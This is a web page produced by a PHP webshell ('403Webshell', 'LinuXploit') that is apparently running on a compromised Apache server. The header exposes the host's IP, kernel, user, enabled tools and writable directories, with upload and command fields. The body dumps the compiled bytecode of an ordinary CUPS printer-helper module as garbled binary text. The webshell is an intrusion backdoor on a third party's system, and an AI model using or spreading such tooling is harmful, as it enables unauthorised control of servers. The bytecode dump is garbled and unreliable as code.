403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/cupshelpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/cupshelpers/ppds.pyc
Jc
@sddkZddklZddkZddkZddkZddkZddkl	Z	l
Z
ddgZdZdZ
d	Zd
ZdZdZd
ZdZdZdZdZdZdZdZdZdZdZdZdZedZ dfdYZ!dZ"dZ#dS(iNi(t
parseDeviceID(t_debugprinttset_debugprint_fntppdMakeModelSplittPPDscCs|i|i}|idp|idp|djp|ido$t|djo|dip|idp|idp|idp|idpp|id	p`|id
pP|idp@|idp0|id
p |idp|idod}|}n|idp|idod}|}n|idp0|idp |idp|idod}|}n||idpP|idp@|idp0|idp |idp|idod}|}n|id p |id!p|id"od#}|}n|id$p@|id%p0|id&p |id'p|id(od)}|}nl|id*p |id+p|id,od-}|}n,|id.p |id/p|id0od1}|}n|id2od3}|}n|id4od5}|}n|id6p|id7od8}|}n||id9d:jo|id;}|d:jo?|id;}||jo||d<|!}q(|| }ny|id=d>\}}Wn|}d?}nXti	d@dA|}ti	dBdA|}ti	d@dA|}ti	dBdA|}ti	dCdD|}ti	dEdF|}nW|idGod1}|dH}n3y|idAd>\}}Wn|}d?}nX|i}|idIo |i
dJod1}dK}nN|idLo |i
dMod}dN}n|dOjod-}dP}n|i}|idQ}|d:joW||dip*||ddRjo-||dSio|| }|| }nxudTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcddgD]:}	|i|	}
|
d:jo||
 }||
 }qtqtW|dNjohded6dfd6dgd6dhd6dFd
6d?di6}xR|iD]@\}}
|i|o$|
|t|}|i}qqWnx:dddd-d8gD]#}||ijo
|}qZqZW|i}||fS(js
    Split a ppd-make-and-model string into a canonical make and model pair.

    @type ppd_make_and_model: string
    @param ppd_make_and_model: IPP ppd-make-and-model attribute
    @return: a string pair representing the make and the model
    tdeskjetsdj tdjitlaserjettljscolor laserjetscolor ljt	designjett	officejettojt
photosmartsps tpsctedgelinetHPtstylustaculasertEpsontstylewritertimagewritert
deskwritertlaserwritertAppletpixustpixmatselphytimagerunnertbjtlbptCanonthltdcptmfctBrothert	docuprinttdocupagetphasert
workcentret
homecentretXeroxtoptrat
jetprinterscolor jetprintertLexmarkt	magicolort	pageworkstpageprosKONICA MINOLTAtaficiotRicoht
varioprinttOcetokipaget	microlinetOkit
turboprintis TurboPrintit_its(?<=[a-z])(?=[0-9])t s(?<=[a-z])(?=[A-Z])s JettJetsPhoto Smartt
PhotoSmartskonica minolta itkonicatminoltaskonica minoltathewletttpackardthpslexmark internationaltlexmarks vt.is hpijss
 foomatic/s - s w/s (s postscripts pss ps1s ps2s ps3s pxls seriess zjss zxss pcl3t_btt,tDeskJettLaserJett	OfficeJetsColor LaserJetshp (tstriptlowert
startswithtlentisdigittfindtrfindtsplittretsubtendswitht	iteritems(tppd_make_and_modeltltmaketmodeltttt2tmakeltmodelltvtsuffixtst
modelnamestnametfullnametmfr((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyR"s2
4


















"






iii
iiiiiiii(i2i<iFiPiZi_icCs0|iddjotS|iddjotS|iddjotS|iddjo|iddjotS|ido|iddjotS|djoc|i|i	d	d
iddjo8|i|i	d	d
iddjot
StSn|id
djotS|iddjo|iddjot
Sn|iddjo |iddjotStStS|iddjo9|iddjp|iddjotStSn|iddjo|iddjot
SntS(s,Decides which of the above types ppdname is.R6itsplixthpcupst:s/cups-included/s	foomatic:tGenericsppd-make-and-modelR8s
(recommended)t
Postscripts-Postscripts-hpijss	hpijs-rsss-gutenprints-simplifiedt
gutenprints/simples.sim-N(RMtDRIVER_TYPE_3RD_PARTY_NONFREEtDRIVER_TYPE_SPLIXtDRIVER_TYPE_HPCUPStDRIVER_TYPE_CUPSRJtDRIVER_TYPE_FOOMATIC_GENERICtNonetgetInfoFromPPDNametgett+DRIVER_TYPE_FOOMATIC_RECOMMENDED_POSTSCRIPTt/DRIVER_TYPE_FOOMATIC_RECOMMENDED_NON_POSTSCRIPTtDRIVER_TYPE_FOOMATIC_PStDRIVER_TYPE_FOOMATIC_HPIJSt*DRIVER_TYPE_FOOMATIC_GUTENPRINT_SIMPLIFIEDtDRIVER_TYPE_FOOMATIC_GUTENPRINTtDRIVER_TYPE_FOOMATICt(DRIVER_TYPE_GUTENPRINT_NATIVE_SIMPLIFIEDtDRIVER_TYPE_GUTENPRINT_NATIVEtDRIVER_TYPE_VENDOR(tppdnametppds((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt_getDriverTypesL
		cBseZdZdZdZdZdZddZdZ	dZ
dZd	Zggd
Z
dgdgdZd
ZgdZdZdZRS(s\
    This class is for handling the list of PPDs returned by CUPS.  It
    indexes by PPD name and device ID, filters by natural language so
    that foreign-language PPDs are not included, and sorts by driver
    type.  If an exactly-matching PPD is not available, it can
    substitute with a PPD for a similar model or for a generic driver.
    iiiic
Cs|i|_d|_d|_|djp|djp
|djo
d}n|id}|djo|| }n|}g}x|iiD]|\}}y|d}Wntj
o
qnX|djoqn||joqn||joqn|i|qWx|D]}|i|=qW|ii	do>|idd	}	|	i
d
pd
|	|idd	<qndS(s
        @type ppds: dict
        @param ppds: dict of PPDs as returned by cups.Connection.getPPDs()

        @type language: string
	@param language: language name, as given by the first element
        of the pair returned by locale.getlocale()
        tCtPOSIXten_USR7isppd-natural-languagetentrawsppd-make-and-modelsGeneric N(tcopyR|RntmakestidsRMRStKeyErrortappendthas_keyRJ(
tselfR|tlanguagetutshort_languaget	to_removeR{tppddicttnatural_languaget	makemodel((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt__init__)s@			







cCsd|i|ii}|itiy!|id|iddWntj
onX|S(sb
	@returns: a list of strings representing makes, sorted according
        to the current locale
	Rfi(	t_init_makesRtkeystsorttlocaletstrcolltremovetinsertt
ValueError(Rt
makes_list((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pytgetMakes`s

cCsX|iy|i|i}Wntj
ogSX|idddti|S(sS
	@returns: a list of strings representing models, sorted using
	cups.modelSort()
	tkeycSs
|iS((RI(tx((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt<lambda>zstcmp(RRRRRtcupst	modelSort(RRVtmodels_list((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt	getModelsps
cCs8|iy|i||SWntj
ohSXdS(s
	Obtain a list of PPDs that are suitable for use with a
        particular printer model, given its make and model name.

	@returns: a dict, indexed by ppd-name, of dicts representing
        PPDs (as given by cups.Connection.getPPDs)
	N(RRR(RRVRW((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pytgetInfoFromModel}s

cCs|i|S(sM
	@returns: a dict representing a PPD, as given by
	cups.Connection.getPPDs
	(R|(RR{((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRoscs|t|djo|Si|d}|d}t|\}fdfd}|i||S(s

	Sort a list of PPD names by (hard-coded) preferred driver
	type.

	@param ppdnamelist: PPD names
	@type ppdnamelist: string list
	@returns: string list
	iisppd-make-and-modelc
st|d}xPD]H}|id\}}}|id\}}}	||	jotSqW|djp
|djo|tjo
t}qn|S(NR|t/RtApollo(R}t
rpartitiontDRIVER_TYPE_DOWNLOADED_NOWRtt DRIVER_TYPE_FOOMATIC_HPIJS_ON_HP(
RtmfgRXtfiletpathtslashtfilenametxpathtxslasht	xfilename(Rtdownloadedfiles(s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pytgetDriverTypeWithBiass
	
cs|}|}||jo||jodSdSnd}||}||}||joV|o|id}n|id}|| || jo|odSdSqn||jodS||jodSdS(NiicSsyx|o|id}|djotSt}|djo
t}n#||dtijo
t}n|oYt}|t|djo
t}n#||dtijo
t}n|otSn||d}qWWntj
otSXdS(NR~iii(RMtFalsetTruetstringtlettersRKtUnicodeDecodeError(Rtitlwordtrword((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pytis_C_locales,





	R~i(RM(tatbttattbRtcatcbRU(RR(s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt
sort_ppdnamess,

	


(RKRoRR(RtppdnamelistRtdictt
make_modeltmdlR((RRRRs4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pytorderPPDNamesByPreferences

<
R8c&Cs'td||f|ig}|i}|i}	t}
y$|i||	}|i}t}
Wntj
onX|djoBy(||id|	7}|i}t}
Wqtj
oqXntdd$}|i	d$}
|djo.t
|\}}|i}|i}	nhdd6dd6}|ii|o|i|}
nO|i|o>||}|ii|o|}|}|i|}
qn|
d$jo |i
|
}|i|
i}xO|ddgD]>}|	i|do$|t|d	}|i}	qqW|i|i|	o+||	}|||i7}|i}qt
|d|\}}|i}|i|i|o+||}|||i7}|i}qn|oC|o<|i||\}}||ijo|}|}q$n|oZ|oSt|tjo|id
}n|i|}|o|i}|}qn|p|i}ddg}t}x|D]}td
||d}xK|iiD]:}|i|p|i|o|g}t}PqqW|oPntd|qW|p$td|iidg}qhn|
otdt}|ox||D]p}|idoqn|i|} | d}!|!pqnt|!}"|"d|jo|i|qqWnt|i|}#td|t|#d	jot|#}qRn|i ||}tdt!||
pt"i#dddddt!|}$d|$GHd|GHd|GHd |GHyt$d!|}%Wnt%j
o
d}%nXd"|%GHnd#|d|fGH||dfS(%s
	Obtain a best-effort PPD match for an IEEE 1284 Device ID.
	The status is one of:

	  - L{STATUS_SUCCESS}: the match was successful, and an exact
            match was found

	  - L{STATUS_MODEL_MISMATCH}: a similar match was found, but
            the model name does not exactly match

	  - L{STATUS_GENERIC_DRIVER}: no match was found, but a
            generic driver is available that can drive this device
            according to its command set list

	  - L{STATUS_NO_DRIVER}: no match was found at all, and the
            returned PPD name is a last resort

	@param mfg: MFG or MANUFACTURER field
	@type mfg: string
	@param mdl: MDL or MODEL field
	@type mdl: string
	@param description: DES or DESCRIPTION field, optional
	@type description: string
	@param commandsets: CMD or COMMANDSET field, optional
	@type commandsets: string
	@param uri: device URI, optional (only needed for debugging)
	@type uri: string
	@returns: an integer,string pair of (status,ppd-name)
	s
%s %sshewlett-packardR@sTrying make/model namesR8RAslexmark internationalR9iRDstextonly.ppdspostscript.ppds
'%s' fallbacks.gzsFallback '%s' not availables#No fallback available; choosing anyisChecking DES fieldthpijss
ppd-device-idtDESsdiscarding: %ssFound PPDs: %stpatterns
//[^@]*@/?trepls//RsNo ID match for device %s:s!  <manufacturer>%s</manufacturer>s  <model>%s</model>s  <description>%s</description>cSs|d|S(RD((Rty((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRss  <commandset>%s</commandset>sUsing %s (status: %d)N(&Rt	_init_idsRIRRtSTATUS_SUCCESSRRRnRRtlmakesRRtlmodelsRJRKRt_findBestMatchPPDstSTATUS_NO_DRIVERttypetlistROt_getPPDNameFromCommandSettSTATUS_GENERIC_DRIVERR|RRtsetRMRtaddt
differenceRtstrRPRQtreducet	TypeError(&RRRtdescriptiontcommandsetsturiRRtmfgltmdllt
id_matchedtstatustmdlsRVtmfgrepltrmfgtmdlsltprefixRWtmfg2tmdl2tmdl2lR^R|tgenerict	fallbackstfoundtfallbackt
fallbackgztppdpathtinexactR{Rtidtid_dicttexactt
sanitised_uritcmd((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pytgetPPDNameFromDeviceIDs 
	

	
	










		
		

	

						
cstd|i}|ido|d }|d }nd}d}i}td|}|i||f|id|i||f}||dg}	|dt	|joC|	i||dt|	ddd|d|	ddnt|	ddd|xs|	D]k\}
}t
ii||g}t	||jo4|
i}t	|}td	|
|fq,q,W|oJ|t	|d
jo3|}
|t	|jo
|i
}q|i}n|i}d}
|ititfd|}d}x|idD]n}|djo
|}nt}x6tt	|D]"}||iot}PqoqoW|o|}Pq9q9Wd}d
}d
}xhtt	|D]T}||io+|d
jo
|}n|}|d7}q|d
joPqqW|d7}d}|djoLt|||!}|| d||}td|||fd}d}t}x||jotd|}||||}td|||fxd|D]\\}}x5|idD]$}|i|jot}PqqW|o|i}PqqW|oPn|d7}|d
joPqqW|o|}
|i}qn||
fS(s|
        Find the best-matching PPDs based on the MDL Device ID.
        This function could be made a lot smarter.
        sTrying best matchs seriesiicSs||ifS((RI(R((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRscSsti|d|dS(i(RR(RR((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRsis <= s%s: match length %dics|i|fS((RI(R(R(s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRsR9is%ds'Searching for model ID '%s', '%s' %% %di
s#Ignoring %d of %d digits, trying %sN(RRIRRRnRtmapRRtindexRKtosRtcommonprefixRtSTATUS_MODEL_MISMATCHRRRRORtrangeRLRtinttpow(RRRRtbest_mdlt
best_matchlentmdlnamest	mdlnameslRt
candidatest	candidatet
candidatelRRRtmdlitemstmodelidtwordthave_digitstdigitstdigits_startt
digits_endtmodelnumbertmodelpatternt
ignore_digitsRtdivR`R|((Rs4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRs



	

		


	


		


csjyiidWntj
odSXfd}td|}d|jpd|jp
d|jo|dSd|jp'd	|jpd
|jp
d|jo|dSd
|jo|dSd|jo|dSd|jp
d|jo|dSd|jo|dSd|jpd|jp
d|jo|dSdS(sfReturn ppd-name list or None, given a list of strings representing
        the command sets supported.RfcsBx;|D]3}i|\}}|ijo|SqWdS(N(RRRn(RRWR^R|(tmodelsR(s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRp2s	cSs
|iS((RI(R((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyR9st
postscripttpostscript2spostscript level 2 emulationsPostScript Printertpclxlspcl-xltpcl6spcl 6 emulationsPCL 6/PCL XL Printertpcl5esPCL 5e Printertpcl5csPCL 5c Printertpcl5spcl 5 emulations
PCL 5 Printertpcls
PCL 3 Printertescpl2sesc/p2tescp2esESC/P Dot Matrix PrinterN(RRRRnR(RRRptcmdsets((RRs4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyR)s2





cCs$|iodSh}h}h}x|iiD]\}}|d}t|\}}|i}	|i}
|i|	p"|||	<h||	<h||<n||	}||	i|
p |||	|
<h|||<n||	|
}|||||<q1W||_||_||_dS(Nsppd-make-and-model(RR|RSRRIRRR(RRRRR{RRTRVRWtlmaketlmodel((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRMs0




		c
Cs|iodSh}x|iiD]{\}}|idpq%n|d}|pq%n|id}|djo|| d||d}nt|}|di}|di}|djo
d	}nt}	t|d
jot	d|t
}	nt|d
jot	d|t
}	n|	oq%n|i|ph||<n||i|pg|||<n|||i|q%W||_dS(
Ns
ppd-device-ids:Modelit;itMFGtMDLshewlett-packardR@isMissing MFG field for %ssMissing MDL field for %s(RR|RSRRMRRIRRKRRR(
RRR{RRR\Rtlmfgtlmdltbad((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRlsB






N(t__name__t
__module__t__doc__RRRRRnRRRRRoRRRRRR(((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyRs&7		
		\	y$	cCs	dGHdS(NsBusage: ppds.py [--deviceid] [--list-models] [--list-ids] [--debug]((((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt
_show_helpsc##Csddk}ddk}y2|i|dddddddg\}}Wn*|ij
ot|idnXt}t}t}x|D]\}}	|d	jot|id
n|djo
t}q|djo
t}q|d
jo
t}q|djod}
t|
qqWd}ddk	}y"t
|d}
|i|
}WnJtj
o>t
|d}
t
i}|i}|i||
nXt|}|i}d
}xW|D]O}|i|}|t|7}|o#|GHx|D]}d|GHqWqqWdt||fGH|idd|ii}d
}x|D]}|i|}|t|7}|o_|GHxW|D]K}d|t|i||fGHx"|i||D]}d|GHqWqWqhqhWdt||fGHdGHdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVg}|otd=d-dfg}nt}x|D]\}}}t|}|i|d>|d?|d@|dA\}}|i|}||jo
t} n@||jo,ti||dBti}!|!dj} nt} | o
dC}"ndD}"dE|"|d>|d?|dBfGH|o| }qxW|p
tndS(WNiiR8thelptdeviceidslist-modelsslist-idstdebugs--helpis
--deviceids
--list-modelss
--list-idss--debugcSsy	|GHWnnXdS(N((R((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt_dprints	spickled-ppdstrtws  s%d makes, %d modelsRsPSC 2200 Seriess	  %s (%d)s    s%d ID makes, %d ID modelss
ID matching tests
sQMFG:EPSON;CMD:ESCPL2,BDC,D4,D4PX;MDL:Stylus D78;CLS:PRINTER;DES:EPSON Stylus D78;sEpson Stylus D68sPMFG:Hewlett-Packard;MDL:LaserJet 1200 Series;CMD:MLC,PCL,POSTSCRIPT;CLS:PRINTER;sHP LaserJet 1200sPMFG:Hewlett-Packard;MDL:LaserJet 3390 Series;CMD:MLC,PCL,POSTSCRIPT;CLS:PRINTER;sHP LaserJet 3390s`MFG:Hewlett-Packard;MDL:PSC 2200 Series;CMD:MLC,PCL,PML,DW-PCL,DYN;CLS:PRINTER;1284.4DL:4d,4e,1;sHP PSC 22[01]0sbMFG:HEWLETT-PACKARD;MDL:DESKJET 990C;CMD:MLC,PCL,PML;CLS:PRINTER;DES:Hewlett-Packard DeskJet 990C;sHP DeskJet 990CsCLASS:PRINTER;MODEL:HP LaserJet 6MP;MANUFACTURER:Hewlett-Packard;DESCRIPTION:Hewlett-Packard LaserJet 6MP Printer;COMMAND SET:PJL,MLC,PCLXL,PCL,POSTSCRIPT;sHP LaserJet 6MPskMFG:Canon;CMD:BJL,BJRaster3,BSCCe;SOJ:TXT01;MDL:iP3000;CLS:PRINTER;DES:Canon iP3000;VER:1.09;STA:10;FSI:03;sCanon PIXMA iP3000shMFG:HP;MDL:Deskjet 5400 series;CMD:MLC,PCL,PML,DW-PCL,DESKJET,DYN;1284.4DL:4d,4e,1;CLS:PRINTER;DES:5440;sHP DeskJet 5440sJMFG:Hewlett-Packard;MDL:HP LaserJet 3390;CMD:PJL,MLC,PCL,POSTSCRIPT,PCLXL;s.MFG:New;MDL:Unknown PS Printer;CMD:POSTSCRIPT;isGeneric postscript printers+MFG:New;MDL:Unknown PCL6 Printer;CMD:PCLXL;s
Generic PCL 6s,MFG:New;MDL:Unknown PCL5e Printer;CMD:PCL5e;sGeneric PCL 5es,MFG:New;MDL:Unknown PCL5c Printer;CMD:PCL5c;sGeneric PCL 5cs*MFG:New;MDL:Unknown PCL5 Printer;CMD:PCL5;s
Generic PCL 5s)MFG:New;MDL:Unknown PCL3 Printer;CMD:PCL;sGeneric PCLs-MFG:New;MDL:Unknown ESC/P Printer;CMD:ESCP2E;s
Generic ESC/PsMFG:New;MDL:Unknown Printer;idsDevice ID: R#R$RtCMDsppd-make-and-modeltPASSs*** FAIL ***s%s: %s %s (%s)(sQMFG:EPSON;CMD:ESCPL2,BDC,D4,D4PX;MDL:Stylus D78;CLS:PRINTER;DES:EPSON Stylus D78;isEpson Stylus D68(sPMFG:Hewlett-Packard;MDL:LaserJet 1200 Series;CMD:MLC,PCL,POSTSCRIPT;CLS:PRINTER;isHP LaserJet 1200(sPMFG:Hewlett-Packard;MDL:LaserJet 3390 Series;CMD:MLC,PCL,POSTSCRIPT;CLS:PRINTER;isHP LaserJet 3390(s`MFG:Hewlett-Packard;MDL:PSC 2200 Series;CMD:MLC,PCL,PML,DW-PCL,DYN;CLS:PRINTER;1284.4DL:4d,4e,1;isHP PSC 22[01]0(sbMFG:HEWLETT-PACKARD;MDL:DESKJET 990C;CMD:MLC,PCL,PML;CLS:PRINTER;DES:Hewlett-Packard DeskJet 990C;isHP DeskJet 990C(sCLASS:PRINTER;MODEL:HP LaserJet 6MP;MANUFACTURER:Hewlett-Packard;DESCRIPTION:Hewlett-Packard LaserJet 6MP Printer;COMMAND SET:PJL,MLC,PCLXL,PCL,POSTSCRIPT;isHP LaserJet 6MP(skMFG:Canon;CMD:BJL,BJRaster3,BSCCe;SOJ:TXT01;MDL:iP3000;CLS:PRINTER;DES:Canon iP3000;VER:1.09;STA:10;FSI:03;isCanon PIXMA iP3000(shMFG:HP;MDL:Deskjet 5400 series;CMD:MLC,PCL,PML,DW-PCL,DESKJET,DYN;1284.4DL:4d,4e,1;CLS:PRINTER;DES:5440;isHP DeskJet 5440(sJMFG:Hewlett-Packard;MDL:HP LaserJet 3390;CMD:PJL,MLC,PCL,POSTSCRIPT,PCLXL;isHP LaserJet 3390(s.MFG:New;MDL:Unknown PS Printer;CMD:POSTSCRIPT;isGeneric postscript printer(s+MFG:New;MDL:Unknown PCL6 Printer;CMD:PCLXL;is
Generic PCL 6(s,MFG:New;MDL:Unknown PCL5e Printer;CMD:PCL5e;isGeneric PCL 5e(s,MFG:New;MDL:Unknown PCL5c Printer;CMD:PCL5c;isGeneric PCL 5c(s*MFG:New;MDL:Unknown PCL5 Printer;CMD:PCL5;is
Generic PCL 5(s)MFG:New;MDL:Unknown PCL3 Printer;CMD:PCL;isGeneric PCL(s-MFG:New;MDL:Unknown ESC/P Printer;CMD:ESCP2E;is
Generic ESC/P(sMFG:New;MDL:Unknown Printer;idN( tsystgetoptt
gnu_getopttGetoptErrorR+texitRRRtpickletopentloadtIOErrorRt
ConnectiontgetPPDstdumpRRRRKRRRRnt	raw_inputRRoRPtmatchtItRuntimeError(#targvR4R5toptstargststdin_deviceidtlist_modelstlist_idstopttoptargR/t
picklefileR9tftcupsppdstcR|Rtmodels_countRVRRWtdrivertidlistt
all_passedRtmax_status_codetmodelreRRR{RtsuccessRAtresult((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt
_self_tests







	
 	





($RtcupshelpersRRRtos.pathRRPR8RRt__all__RRRrRzRqRkRRxRyRjRsRtRuRvRwRlRmRitDRIVER_DOES_NOT_WORKRnR}RR+RX(((s4/usr/lib/python2.6/site-packages/cupshelpers/ppds.pyt<module>sB		.	

Youez - 2016 - github.com/yon3zu
LinuXploit